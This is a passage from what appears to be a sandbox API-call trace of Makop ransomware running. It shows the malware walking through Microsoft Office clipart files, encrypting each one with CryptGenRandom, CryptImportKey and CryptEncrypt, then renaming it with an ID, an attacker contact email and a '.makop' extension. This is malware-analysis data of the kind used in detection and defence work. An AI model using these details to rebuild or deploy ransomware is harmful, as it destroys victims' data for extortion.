GetProcessHeap () returned 0x48a0000 [0145.789] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.789] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.794] GetProcessHeap () returned 0x48a0000 [0145.795] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.795] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.796] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.796] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.796] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.796] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0145.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0145.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0145.800] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.800] SetEndOfFile (hFile=0xf0) returned 1 [0145.808] GetProcessHeap () returned 0x48a0000 [0145.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.808] GetProcessHeap () returned 0x48a0000 [0145.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.812] CloseHandle (hObject=0xf0) returned 1 [0145.813] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0145.813] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG") returned 63 [0145.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.817] GetProcessHeap () returned 0x48a0000 [0145.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.823] GetProcessHeap () returned 0x48a0000 [0145.823] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.824] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.824] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.824] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6afc, lpOverlapped=0x0) returned 1 [0145.827] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b00, dwBufLen=0x6b00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b00) returned 1 [0145.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6b00, lpOverlapped=0x0) returned 1 [0145.828] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.828] SetEndOfFile (hFile=0xf0) returned 1 [0145.835] GetProcessHeap () returned 0x48a0000 [0145.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.835] GetProcessHeap () returned 0x48a0000 [0145.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.838] CloseHandle (hObject=0xf0) returned 1 [0145.838] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0145.838] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 63 [0145.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.839] GetProcessHeap () returned 0x48a0000 [0145.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.840] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.840] GetProcessHeap () returned 0x48a0000 [0145.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.840] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.841] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.846] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.847] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.848] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.849] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.849] SetEndOfFile (hFile=0xf0) returned 1 [0145.857] GetProcessHeap () returned 0x48a0000 [0145.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.857] GetProcessHeap () returned 0x48a0000 [0145.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.857] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.859] CloseHandle (hObject=0xf0) returned 1 [0145.859] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0145.859] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP") returned 63 [0145.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.861] GetProcessHeap () returned 0x48a0000 [0145.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.861] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.861] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.861] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.861] GetProcessHeap () returned 0x48a0000 [0145.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.861] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.861] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.861] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.866] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.871] SetEndOfFile (hFile=0xf0) returned 1 [0145.878] GetProcessHeap () returned 0x48a0000 [0145.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.878] GetProcessHeap () returned 0x48a0000 [0145.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.880] CloseHandle (hObject=0xf0) returned 1 [0145.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0145.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 63 [0145.880] CreateFileW (lpFileName="C:\\Program 